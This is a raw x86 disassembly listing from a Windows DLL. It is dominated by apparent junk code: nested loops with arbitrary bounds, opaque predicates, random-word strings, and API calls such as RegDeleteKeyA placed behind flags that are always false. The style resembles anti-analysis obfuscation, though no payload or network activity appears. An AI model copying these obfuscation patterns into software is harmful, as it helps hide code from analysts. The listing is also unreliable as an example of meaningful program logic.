mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x281d
jge 0x10028d74
and dword [ebp - 0x1fc], 0
jmp 0x10028cdb
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x19e2
jge 0x10028d6f
and dword [ebp - 0x2ac], 0
jmp 0x10028d01
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x2934
jge 0x10028d6a
mov eax, dword [ebp - 0x2e0]
xor eax, dword [ebp - 0x1fc]
xor eax, dword [ebp - 0x2ac]
cdq
mov dword [ebp - 0x8cc], eax
mov dword [ebp - 0x8c8], edx
push dword [ebp - 0x8c8]
push dword [ebp - 0x8cc]
lea ecx, [ebp - 0xe40]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x954], eax
mov ecx, dword [ebp - 0x954]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xe40]
call fcn.10004c0e
jmp 0x10028cf4
jmp 0x10028cce
jmp 0x10028ca8
push 3
lea ecx, [ebp - 0xb70]
call fcn.10004e62
mov dword [ebp - 4], 0x17
push 2
lea ecx, [ebp - 0x990]
call fcn.10004e62
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x100], 0xc5416513
mov dword [ebp - 0x44], 0
jmp 0x10028db3
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x10028dcf
push dword [ebp - 0x44]
lea ecx, [ebp - 0xb70]
call fcn.10004f01
mov dword [eax], 0xae9714a
jmp 0x10028dac
mov dword [ebp - 0x44], 0
jmp 0x10028ddf
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x10028dfb
push dword [ebp - 0x44]
lea ecx, [ebp - 0x990]
call fcn.10004f01
mov dword [eax], 9
jmp 0x10028dd8
push 0
lea ecx, [ebp - 0x990]
call fcn.10004f01
and dword [eax], 0
jmp 0x10028e31
push 0
lea ecx, [ebp - 0x990]
call fcn.10004f01
mov dword [ebp - 0x6f0], eax
mov eax, dword [ebp - 0x6f0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x6f0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x990]
call fcn.10004f01
cmp dword [eax], 2
jg 0x10028e4f
mov dword [ebp - 0x100], 0xe5c7a00f
jmp 0x10028e0d
mov dword [ebp - 0x100], 0xa
jmp 0x10028e68
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x1c
jle 0x10028ef8
push 2
lea ecx, [ebp - 0xa44]
call fcn.10004e62
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x204], 0
jmp 0x10028e9f
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 2
jge 0x10028ec1
push dword [ebp - 0x204]
lea ecx, [ebp - 0xa44]
call fcn.10004f01
mov dword [eax], 0x9a57b5bf
jmp 0x10028e92
push 1
lea ecx, [ebp - 0xa44]
call fcn.10004f01
cmp dword [eax], 0
je 0x10028ee4
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xa44]
call fcn.10004ee5
jmp 0x10028ef8
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xa44]
call fcn.10004ee5
jmp 0x10028e5b
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x990]
call fcn.10004ee5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb70]
call fcn.10004ee5
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x538], 0x8cb
jge 0x10028f35
push dword [ebp - 0x820]
call fcn.1004af7c
pop ecx
jmp 0x10028f51
or dword [ebp - 4], 0xffffffff
jmp 0x10028f5b
and dword [ebp - 0xe8], 0
jmp 0x1002810a
mov dword [ebp - 0xbb4], 0xea75c96
mov dword [ebp - 0xc54], 9
mov dword [ebp - 0xc50], 9
mov dword [ebp - 0xc4c], 9
mov dword [ebp - 0xc48], 9
mov dword [ebp - 0xc14], 0xb227d373
push 4
lea ecx, [ebp - 0xa9c]
call fcn.10004e62
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x2e8], 0
jmp 0x10028fd0
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 4
jge 0x10028fef
push dword [ebp - 0x2e8]
lea ecx, [ebp - 0xa9c]
call fcn.10004f01
and dword [eax], 0
jmp 0x10028fc3
push 3
lea ecx, [ebp - 0xa9c]
call fcn.10004f01
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x660]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x660]
mov dword [ecx], eax
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x10029032
push 0x1527
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa9c]
call fcn.10004ee5
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xaf4], cx
push 4
lea ecx, [ebp - 0xb80]
call fcn.10004e62
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x2bc], 0
mov dword [ebp - 0x20c], 0
jmp 0x10029088
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 4
jge 0x100290a7
push dword [ebp - 0x20c]
lea ecx, [ebp - 0xb80]
call fcn.10004f01
or dword [eax], 0xffffffff
jmp 0x1002907b
mov dword [ebp - 0x540], 0x1648
mov dword [ebp - 0x828], str.amdotue_inwmvk_bundkbnx_amu_ibsznj_yenjmfric_dksdhh_mnmwg_jlomlfcux_xjfamad_awddkux_btzyecm_blkvrshb_aqvmit
cmp dword [ebp - 0x540], 0x197c
jle 0x100291e4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
and dword [ebp - 0x21c], 0
jmp 0x100290eb
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x6903
jge 0x100291e4
and dword [ebp - 0x2b4], 0
jmp 0x10029111
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x981
jge 0x100291df
and dword [ebp - 0x214], 0
jmp 0x10029137
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x3a55
jge 0x100291da
and dword [ebp - 0x2f0], 0
jmp 0x1002915d
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x1e63
jge 0x100291d5
mov eax, dword [ebp - 0x2b4]
cdq
idiv dword [ebp - 0x214]
mov eax, edx
cdq
idiv dword [ebp - 0x2f0]
mov eax, dword [ebp - 0x21c]
sub eax, edx
cdq
mov dword [ebp - 0x8d8], eax
mov dword [ebp - 0x8d4], edx
push dword [ebp - 0x8d4]
push dword [ebp - 0x8d8]
lea ecx, [ebp - 0xdb0]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x9f8], eax
mov ecx, dword [ebp - 0x9f8]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xdb0]
call fcn.10004c0e
jmp 0x10029150
jmp 0x1002912a
jmp 0x10029104
jmp 0x100290de
mov dword [ebp - 0x2bc], 0
jmp 0x100291fd
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 3
jg 0x10029233
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x10029231
push 0x2583
push 0
push 0x1eaa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
jmp 0x100291f0
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x540], 0x13ce
jge 0x1002924f
push dword [ebp - 0x828]
call fcn.1004af7c
pop ecx
jmp 0x1002926b
mov dword [ebp - 4], 0x1d
jmp 0x1002927b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb80]
call fcn.10004ee5
lea eax, [ebp - 0xaf4]
push eax
lea ecx, [ebp - 0xe10]
call fcn.10004d4d
mov dword [ebp - 0x95c], eax
mov eax, dword [ebp - 0x95c]
mov dword [ebp - 0x830], eax
mov dword [ebp - 4], 0x20
push dword [ebp - 0x830]
call fcn.100200d4
pop ecx
mov dword [ebp - 0x564], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe10]
call fcn.10004d72
push 3
lea ecx, [ebp - 0xa74]
call fcn.10004e62
mov dword [ebp - 4], 0x21
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x33c], 1
mov dword [ebp - 0x4c], 0
jmp 0x1002930e
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x1002932a
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xa74]
call fcn.10004f01
mov dword [eax], 0xb9b55bb2
jmp 0x10029307
mov dword [ebp - 0x4c], 0
jmp 0x1002933a
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jge 0x10029350
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x964], 0xaafbebf0
jmp 0x10029333
mov dword [ebp - 0xb0], 0
jmp 0x10029369
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jg 0x100294f4
mov dword [ebp - 0xcc], 0xce4b0ad8
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xa74]
call fcn.10004f01
mov dword [ebp - 0x754], eax
push 2
lea ecx, [ebp - 0xa74]
call fcn.10004f01
mov ecx, dword [ebp - 0x754]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x754]
mov eax, dword [eax]
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x33c]
cmp eax, dword [ebp - 0xb0]
jge 0x100293d6
mov dword [ebp - 0x548], 1
jmp 0x100293dd
and dword [ebp - 0x548], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x548], eax
jg 0x100293f7
mov dword [ebp - 0xa20], 1
jmp 0x100293fe
and dword [ebp - 0xa20], 0
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xc1c], eax
cmp dword [ebp - 0xcc], 0
je 0x1002941f
mov dword [ebp - 0x668], 1
jmp 0x10029426
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x668]
sub eax, dword [ebp - 0xcc]
add eax, dword [ebp - 0xb0]
jne 0x1002944c
mov eax, 0xd73df2ef
test eax, eax
jne 0x1002944c
and dword [ebp - 0x838], 0
jmp 0x10029456
mov dword [ebp - 0x838], 1
cmp dword [ebp - 0x33c], 0x7b30
je 0x1002946e
mov dword [ebp - 0x550], 1
jmp 0x10029475
and dword [ebp - 0x550], 0
cmp dword [ebp - 0x550], 0x8d20
je 0x1002948d
mov dword [ebp - 0x6f8], 1
jmp 0x10029494
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0xcc]
imul eax, dword [ebp - 0x6f8]
cmp eax, 0xd3bed162
jb 0x100294b4
mov dword [ebp - 0x558], 1
jmp 0x100294bb
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x558], eax
jge 0x100294d5
mov dword [ebp - 0x670], 1
jmp 0x100294dc
and dword [ebp - 0x670], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x670]
mov dword [ebp + eax - 0x964], ecx
jmp 0x1002935c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa74]
call fcn.10004ee5
and dword [ebp - 0x300], 0
jmp 0x10029519
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0xd
jae 0x100296f8
mov dword [ebp - 0x224], 0x62d5e48d
mov dword [ebp - 0x224], 0
jmp 0x10029549
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x10
jl 0x100296e3
mov dword [ebp - 0x560], 0x2f08
mov dword [ebp - 0xa00], str.euzjg_iqn_bdyi_xjeaxgbm_kbebdtt
cmp dword [ebp - 0x560], 0x329a
jle 0x10029651
and dword [ebp - 0x2f8], 0
jmp 0x10029590
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x30f0
jge 0x10029651
and dword [ebp - 0x22c], 0
jmp 0x100295b6
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x69da
jge 0x1002964c
and dword [ebp - 0x2c4], 0
jmp 0x100295dc
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x868
jge 0x10029647
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x2c4]
shl eax, cl
cdq
mov dword [ebp - 0x8e4], eax
mov dword [ebp - 0x8e0], edx
push dword [ebp - 0x8e0]
push dword [ebp - 0x8e4]
lea ecx, [ebp - 0xd20]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x840], eax
mov ecx, dword [ebp - 0x840]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xd20]
call fcn.10004c0e
jmp 0x100295cf
jmp 0x100295a9
jmp 0x10029583
mov dword [ebp - 0x234], 0xffffffff
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x560], 0x2d82
jge 0x1002967a
push dword [ebp - 0xa00]
call fcn.1004af7c
pop ecx
jmp 0x10029696
or dword [ebp - 4], 0xffffffff
jmp 0x100296a0
mov dword [ebp - 0x234], 0x18
jmp 0x100296b9
mov eax, dword [ebp - 0x234]
dec eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x16
je 0x100296de
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x100296dc
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
jmp 0x100296ac
jmp 0x1002953c
xor eax, eax
mov ecx, dword [ebp - 0x300]
mov word [ebp + ecx*2 - 0xaf4], ax
jmp 0x1002950c
cmp dword [ebp - 0x564], 0
je 0x1002b467
push 2
lea ecx, [ebp - 0x9a0]
call fcn.10004e62
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x23c], 0
jmp 0x10029732
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 2
jge 0x10029754
push dword [ebp - 0x23c]
lea ecx, [ebp - 0x9a0]
call fcn.10004f01
mov dword [eax], 0xe0a8eac8
jmp 0x10029725
mov dword [ebp - 0x74c], 0x497d
mov dword [ebp - 0x848], str.hryvxbzm_pqiwib_wsdc_vwjemfozg_spzt_njhyhgcz_ybulbjsw_rlz_nwrhsxzym_ubwodxe_lhlm_rljp_pjy_fkkvx
cmp dword [ebp - 0x74c], 0x4c18
jle 0x10029851
and dword [ebp - 0x2cc], 0
jmp 0x1002978e
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x175c
jge 0x10029851
and dword [ebp - 0x244], 0
jmp 0x100297b4
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x3591
jge 0x1002984c
and dword [ebp - 0x308], 0
jmp 0x100297da
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x5994
jge 0x10029847
and dword [ebp - 0x24c], 0
jmp 0x100297fc
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x7c1a
jge 0x10029845
mov eax, dword [ebp - 0x2cc]
add eax, dword [ebp - 0x244]
and eax, dword [ebp - 0x308]
or eax, dword [ebp - 0x24c]
cdq
mov dword [ebp - 0x8f0], eax
mov dword [ebp - 0x8ec], edx
push dword [ebp - 0x8ec]
push dword [ebp - 0x8f0]
mov ecx, 0x1007d9f8
call fcn.10004c38
jmp 0x100297ef
jmp 0x100297cd
jmp 0x100297a7
jmp 0x10029781
mov byte [ebp - 0xb8], 0
movzx eax, byte [ebp - 0xb8]
test eax, eax
je 0x1002987c
push 0
push 0x15e9
push 0xf3a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
mov byte [ebp - 4], 0x25
cmp dword [ebp - 0x74c], 0x46a9
jge 0x1002989c
mov edx, dword [ebp - 0x848]
mov ecx, 0x1007d9f8
call fcn.100070aa
jmp 0x100298b8
mov dword [ebp - 4], 0x24
jmp 0x100298c8
push 0
lea ecx, [ebp - 0x9a0]
call fcn.10004f01
and dword [eax], 0
jmp 0x100298fe
push 0
lea ecx, [ebp - 0x9a0]
call fcn.10004f01
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 0x568]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x568]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x9a0]
call fcn.10004f01
cmp dword [eax], 0xffffffe6
je 0x1002992f
mov byte [ebp - 0xba], 0
movzx eax, byte [ebp - 0xba]
test eax, eax
je 0x1002992d
push 0xd42
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
jmp 0x100298da
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9a0]
call fcn.10004ee5
mov dword [ebp - 0x84], 0xaa43
mov dword [ebp - 0x3c], 0x21aa291
mov dword [ebp - 0x158], 1
mov dword [ebp - 0xec], 0xffffffff
mov dword [ebp - 0xa84], 0x5e3087c3
mov dword [ebp - 0xa80], 0x5e3087c3
mov dword [ebp - 0xa7c], 0x5e3087c3
mov dword [ebp - 0xa78], 0x5e3087c3
mov dword [ebp - 0x9dc], 0xa2df500c
mov dword [ebp - 0x678], 0x6115
mov dword [ebp - 0x850], str.bjyt_rda_rlii_irgiju_zhuzuvgy_wfj_tdzmfh_vjdun_diusng_nyp_wzbczzkh_nmzhvzct
cmp dword [ebp - 0x678], 0x61dd
jle 0x10029a8f
and dword [ebp - 0x154], 0
jmp 0x100299cf
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xa28
jge 0x10029a8f
and dword [ebp - 0x310], 0
jmp 0x100299f5
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x56a3
jge 0x10029a8a
and dword [ebp - 0x254], 0
jmp 0x10029a1b
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x287b
jge 0x10029a85
mov eax, dword [ebp - 0x310]
imul eax, dword [ebp - 0x254]
or eax, dword [ebp - 0x154]
cdq
mov dword [ebp - 0x8fc], eax
mov dword [ebp - 0x8f8], edx
push dword [ebp - 0x8f8]
push dword [ebp - 0x8fc]
lea ecx, [ebp - 0xd50]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x96c], eax
mov ecx, dword [ebp - 0x96c]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xd50]
call fcn.10004c0e
jmp 0x10029a0e
jmp 0x100299e8
jmp 0x100299c2
push 4
lea ecx, [ebp - 0xa50]
call fcn.10004e62
mov dword [ebp - 4], 0x27
mov byte [ebp - 4], 0x28
cmp dword [ebp - 0x678], 0x5ee1
jge 0x10029abf
push dword [ebp - 0x850]
call fcn.1004af7c
pop ecx
jmp 0x10029adb
mov dword [ebp - 4], 0x27
jmp 0x10029aeb
mov dword [ebp - 0x54], 0
jmp 0x10029afb
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x10029b11
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x748], 3
jmp 0x10029af4
mov dword [ebp - 0x54], 0
jmp 0x10029b21
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 4
jge 0x10029b3d
push dword [ebp - 0x54]
lea ecx, [ebp - 0xa50]
call fcn.10004f01
mov dword [eax], 0xfffffff7
jmp 0x10029b1a
cmp dword [ebp - 0x84], 0x2bf3
jl 0x10029b55
mov dword [ebp - 0x9d8], 1
jmp 0x10029b5c
and dword [ebp - 0x9d8], 0
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x3c]
jle 0x10029b73
mov dword [ebp - 0x858], 1
jmp 0x10029b7a
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc10], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x3c]
jge 0x10029ba3
mov dword [ebp - 0x570], 1
jmp 0x10029baa
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x570]
cmp eax, dword [ebp - 0x84]
je 0x10029bcb
mov dword [ebp - 0x700], 1
jmp 0x10029bd2
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x700], eax
jl 0x10029be9
mov dword [ebp - 0x578], 1
jmp 0x10029bf0
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x578], eax
jge 0x10029c07
mov dword [ebp - 0x680], 1
jmp 0x10029c0e
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x680]
cmp eax, 0xfff8
jb 0x10029c2b
mov dword [ebp - 0x580], 1
jmp 0x10029c32
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0x580]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jge 0x10029c53
mov dword [ebp - 0x37c], 1
jmp 0x10029c5a
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x37c], eax
jle 0x10029c71
mov dword [ebp - 0x384], 1
jmp 0x10029c78
and dword [ebp - 0x384], 0
imul eax, dword [ebp - 0x384], 0x3ae
cmp dword [ebp - 0x84], eax
je 0x10029c96
mov dword [ebp - 0x974], 1
jmp 0x10029c9d
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc18], eax
cmp dword [ebp - 0x3c], 0
jne 0x10029cbe
mov eax, 0x60fc5c2f
test eax, eax
jne 0x10029cbe
and dword [ebp - 0x38c], 0
jmp 0x10029cc8
mov dword [ebp - 0x38c], 1
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x38c], eax
jl 0x10029cdf
mov dword [ebp - 0x394], 1
jmp 0x10029ce6
and dword [ebp - 0x394], 0
cmp dword [ebp - 0x394], 0x780d7777
jg 0x10029cfe
mov dword [ebp - 0x39c], 1
jmp 0x10029d05
and dword [ebp - 0x39c], 0
cmp dword [ebp - 0x39c], 0x325a
jne 0x10029d1d
mov dword [ebp - 0x3a4], 1
jmp 0x10029d24
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x3a4]
add eax, 0x51c76d7b
cmp eax, 0x7937
jl 0x10029d42
mov dword [ebp - 0x3ac], 1
jmp 0x10029d49
and dword [ebp - 0x3ac], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3ac]
sub ecx, dword [ebp + eax - 0x748]
je 0x10029d71
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x10029d71
mov dword [ebp - 0x3b4], 1
jmp 0x10029d78
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xbd8], eax
cmp dword [ebp - 0x158], 0
jne 0x10029da7
or eax, 0xffffffff
jne 0x10029da7
and dword [ebp - 0x36c], 0
jmp 0x10029db1
mov dword [ebp - 0x36c], 1
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xec]
cmp eax, dword [ebp - 0x36c]
jne 0x10029dd7
mov dword [ebp - 0x3c4], 1
jmp 0x10029dde
and dword [ebp - 0x3c4], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x3c4], eax
jne 0x10029df5
mov dword [ebp - 0x3d4], 1
jmp 0x10029dfc
and dword [ebp - 0x3d4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa84]
inc eax
mov dword [ebp - 0x3cc], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3cc]
mov dword [ebp + eax - 0xa84], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x748]
add eax, dword [ebp - 0x3cc]
cmp eax, dword [ebp - 0x3d4]
jne 0x10029e4a
mov dword [ebp - 0x3dc], 1
jmp 0x10029e51
and dword [ebp - 0x3dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x748]
cmp dword [ebp - 0x3dc], eax
jg 0x10029e7f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x748], 0
jne 0x10029e7f
and dword [ebp - 0x864], 0
jmp 0x10029e89
mov dword [ebp - 0x864], 1
mov eax, dword [ebp - 0x9dc]
mov dword [ebp - 0xc68], eax
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x748]
push 2
lea ecx, [ebp - 0xa50]
call fcn.10004f01
sub esi, dword [eax]
push 1
lea ecx, [ebp - 0xa50]
call fcn.10004f01
cmp esi, dword [eax]
jge 0x10029ece
mov dword [ebp - 0x3e4], 1
jmp 0x10029ed5
and dword [ebp - 0x3e4], 0
cmp dword [ebp - 0x3e4], 1
jne 0x10029eea
mov dword [ebp - 0x3ec], 1
jmp 0x10029ef1
and dword [ebp - 0x3ec], 0
cmp dword [ebp - 0x3ec], 0x3552e296
jge 0x10029f85
mov dword [ebp - 0x200], 0x4a2a
push 3
lea ecx, [ebp - 0x9c0]
call fcn.10004e62
mov dword [ebp - 4], 0x37
mov dword [ebp - 0x320], 1
push 1
lea ecx, [ebp - 0x784]
call fcn.10004e62
mov byte [ebp - 4], 0x38
mov dword [ebp - 0xfc], 0
push 1
lea ecx, [ebp - 0xa68]
call fcn.10004e62
mov byte [ebp - 4], 0x39
mov dword [ebp - 0x5bc], 0x6221
mov dword [ebp - 0x8f4], 0x13999ea3
mov dword [ebp - 0xa0c], 0x3ecb
mov dword [ebp - 0x14], 0
jmp 0x1002b4e9
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002b505
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c0]
call fcn.10004f01
mov dword [eax], 0x31d8
jmp 0x1002b4e2
mov dword [ebp - 0x14], 0
jmp 0x1002b515
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x1002b52e
push dword [ebp - 0x14]
lea ecx, [ebp - 0x784]
call fcn.10004f01
or dword [eax], 0xffffffff
jmp 0x1002b50e
mov dword [ebp - 0x14], 0
jmp 0x1002b53e
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x1002b55a
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa68]
call fcn.10004f01
mov dword [eax], 0xe402095d
jmp 0x1002b537
mov dword [ebp - 0x14], 0
jmp 0x1002b56a
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002b580
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xca8], 0xf360
jmp 0x1002b563
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x56c], eax
push 0
lea ecx, [ebp - 0x9c0]
call fcn.10004f01
mov ecx, dword [ebp - 0x56c]
mov dword [eax], ecx
cmp dword [ebp - 0x56c], 0
je 0x1002b5e3
mov eax, 0xffff
test eax, eax
je 0x1002b5e3
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
mov esi, dword [ebp - 0xfc]
push 0
lea ecx, [ebp - 0x784]
call fcn.10004f01
cmp esi, dword [eax]
jle 0x1002b5e3
mov dword [ebp - 0x574], 1
jmp 0x1002b5ea
and dword [ebp - 0x574], 0
cmp dword [ebp - 0x574], 1
jne 0x1002b5ff
mov dword [ebp - 0x57c], 1
jmp 0x1002b606
and dword [ebp - 0x57c], 0
mov esi, dword [ebp - 0x57c]
sub esi, dword [ebp - 0x320]
push 0
lea ecx, [ebp - 0x784]
call fcn.10004f01
mov dword [eax], esi
push 0
lea ecx, [ebp - 0xa68]
call fcn.10004f01
cmp dword [eax], 0
je 0x1002b78a
mov dword [ebp - 0xc8], 1
mov dword [ebp - 0x58c], 0x69bad970
mov eax, dword [ebp - 0x200]
